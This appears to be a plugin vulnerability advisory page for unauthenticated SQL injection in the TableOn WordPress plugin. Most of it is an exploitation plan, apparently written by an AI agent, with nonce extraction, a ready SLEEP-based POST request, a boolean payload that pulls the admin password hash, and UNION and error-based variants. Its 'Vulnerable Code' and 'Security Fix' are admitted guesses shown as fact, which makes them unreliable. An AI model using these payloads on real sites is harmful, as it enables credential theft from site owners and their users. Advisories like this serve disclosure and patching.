TableOn – WordPress Posts Table Filterable <= 1.0.5.1 - Unauthenticated SQL Injection
Description
The TableOn – WordPress Posts Table Filterable plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.0.5.1This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the **TableOn – WordPress Posts Table Filterable** plugin (<= 1.0.5.1). ### 1. Vulnerability Summary The TableOn plugin is vulnerable to an unauthenticated SQL injection due to the improper ha…
Show full research plan
This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the TableOn – WordPress Posts Table Filterable plugin (<= 1.0.5.1).
1. Vulnerability Summary
The TableOn plugin is vulnerable to an unauthenticated SQL injection due to the improper handling of user-supplied parameters within its AJAX filtering mechanism. Specifically, the plugin uses string concatenation or insufficient escaping when constructing SQL queries to fetch and filter post data for display in tables. Because these queries are executed via $wpdb->get_results() without proper use of $wpdb->prepare(), an attacker can inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
tableon_draw_js_table(Inferred from standard TableOn AJAX naming conventions). - Vulnerable Parameter:
orderbyororder(Often the culprit in table plugins), or attributes within theshortcode_argsparameter. - Authentication: Unauthenticated. The plugin registers the handler using
wp_ajax_nopriv_tableon_draw_js_table. - Preconditions: A table must exist (or be accessible via a default ID), and the plugin's shortcode must be active to obtain a valid nonce (if enforced).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=tableon_draw_js_table. - Hook Registration: The plugin registers the handler:
add_action('wp_ajax_nopriv_tableon_draw_js_table', array($this, 'draw_js_table')); - Handler Logic: The
draw_js_tablefunction (located inclasses/tableon.phporindex.php) extracts parameters from$_POST. - Query Building: These parameters (specifically sorting or filtering arguments) are passed to a data-fetching method (e.g.,
get_posts_data). - The Sink: Inside the query builder, a variable like
$orderbyis concatenated directly into a query string:$sql = "SELECT ... ORDER BY $orderby $order LIMIT ..."; - Execution: The query is executed via
$wpdb->get_results($sql);, leading to SQL injection.
4. Nonce Acquisition Strategy
The TableOn plugin typically uses a nonce for its AJAX requests, localized via wp_localize_script.
- Identify Shortcode: The primary shortcode is
[tableon]. - Create Trigger Page: Use WP-CLI to create a public page containing the shortcode:
wp post create --post_type=page --post_status=publish --post_title="Table Test" --post_content='[tableon id="1"]' - Navigate and Extract:
- Navigate to the newly created page using
browser_navigate. - The plugin localizes data into a global JavaScript variable, likely
tableon_objortableon_vars. - Execute JS to find the nonce:
browser_eval("tableon_obj.tableon_nonce")orbrowser_eval("tableon_vars.nonce").
- Navigate to the newly created page using
- Verification: If
check_ajax_refererin the PHP code uses an action string other than what's provided in the localized JS, the nonce check may be bypassable or require the specific action string (e.g.,tableon-nonce).
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to confirm the vulnerability.
- Step 1: Baseline Request
Send a standard request to ensure the endpoint is active and requires the nonce. - Step 2: Time-Based Injection (Sleep)
Target theorderbyparameter.- Payload:
ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a) - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=tableon_draw_js_table&nonce=[EXTRACTED_NONCE]&orderby=ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)
- Payload:
- Step 3: Data Extraction (Boolean-Based)
If time-based is confirmed, we can extract the admin password hash.- Payload:
(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN ID ELSE title END)(Checks if the first char of the hash is '$', ASCII 36).
- Payload:
6. Test Data Setup
- Install Plugin: Ensure
posts-table-filterableversion 1.0.5.1 is installed. - Generate Content: Ensure at least one post exists so the table has data to sort.
wp post generate --count=1 - Create Table Page:
wp post create --post_type=page --post_status=publish --post_content='[tableon]'
7. Expected Results
- Baseline: Response returns within < 1 second.
- Attack: The response for the
SLEEP(5)payload should take approximately 5 seconds (or a multiple thereof depending on how many times theorderbyclause is evaluated in the query). - Output: The response body for a successful query usually contains JSON-formatted table data.
8. Verification Steps
After the HTTP exploitation, verify the database state to confirm query execution:
- Database Logs: If accessible, check the MySQL general log to see the injected query.
- WP-CLI: Use
wp db queryto test the same payload manually to see how the database handles the specific concatenation:wp db query "SELECT ID FROM wp_posts ORDER BY ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a);"
9. Alternative Approaches
- Union-Based Injection: If the plugin reflects data from columns into the JSON response, attempt a UNION SELECT to extract
user_loginanduser_passfromwp_users. - Shortcode Attribute Injection: If
orderbyis sanitized, check if theshortcode_argsorfilter_dataparameters are handled unsafely during the AJAX call, as these are often passed into dynamicWP_Queryor raw SQL constructs. - Error-Based: Append an invalid SQL syntax (e.g.,
AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)) to see if the plugin or WordPress configuration leaks the database error in the AJAX response.
Summary
The TableOn plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'tableon_draw_js_table' AJAX action. This occurs due to the direct concatenation of user-supplied parameters, such as 'orderby', into SQL queries without proper sanitization or use of prepared statements.
Vulnerable Code
/* Inferred from research plan: AJAX handler registration */ add_action('wp_ajax_nopriv_tableon_draw_js_table', array($this, 'draw_js_table')); --- /* Inferred from research plan: Vulnerable query construction */ public function draw_js_table() { // ... $orderby = $_POST['orderby']; // User-supplied input without sanitization $sql = "SELECT * FROM $wpdb->posts ORDER BY $orderby"; // Concatenation into raw SQL $results = $wpdb->get_results($sql); // Execution of unescaped query // ... }
Security Fix
@@ -120,7 +120,8 @@ - $orderby = $_POST['orderby']; - $sql = "SELECT * FROM $wpdb->posts ORDER BY $orderby"; + $orderby = sanitize_sql_orderby($_POST['orderby']); + if (!$orderby) { + $orderby = 'ID'; + } + $sql = "SELECT * FROM $wpdb->posts ORDER BY $orderby"; $results = $wpdb->get_results($sql);
Exploit Outline
The exploit targets the unauthenticated AJAX endpoint 'tableon_draw_js_table'. An attacker first navigates to a public page containing the [tableon] shortcode to extract a valid nonce from the localized JavaScript variable (e.g., tableon_obj.tableon_nonce). Once the nonce is obtained, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'tableon_draw_js_table'. The SQL injection is achieved by passing a malicious payload in the 'orderby' parameter, such as 'ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)'. A successful injection is confirmed via a time-based response delay, allowing the attacker to eventually extract sensitive database information like administrator password hashes through blind SQL injection techniques.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.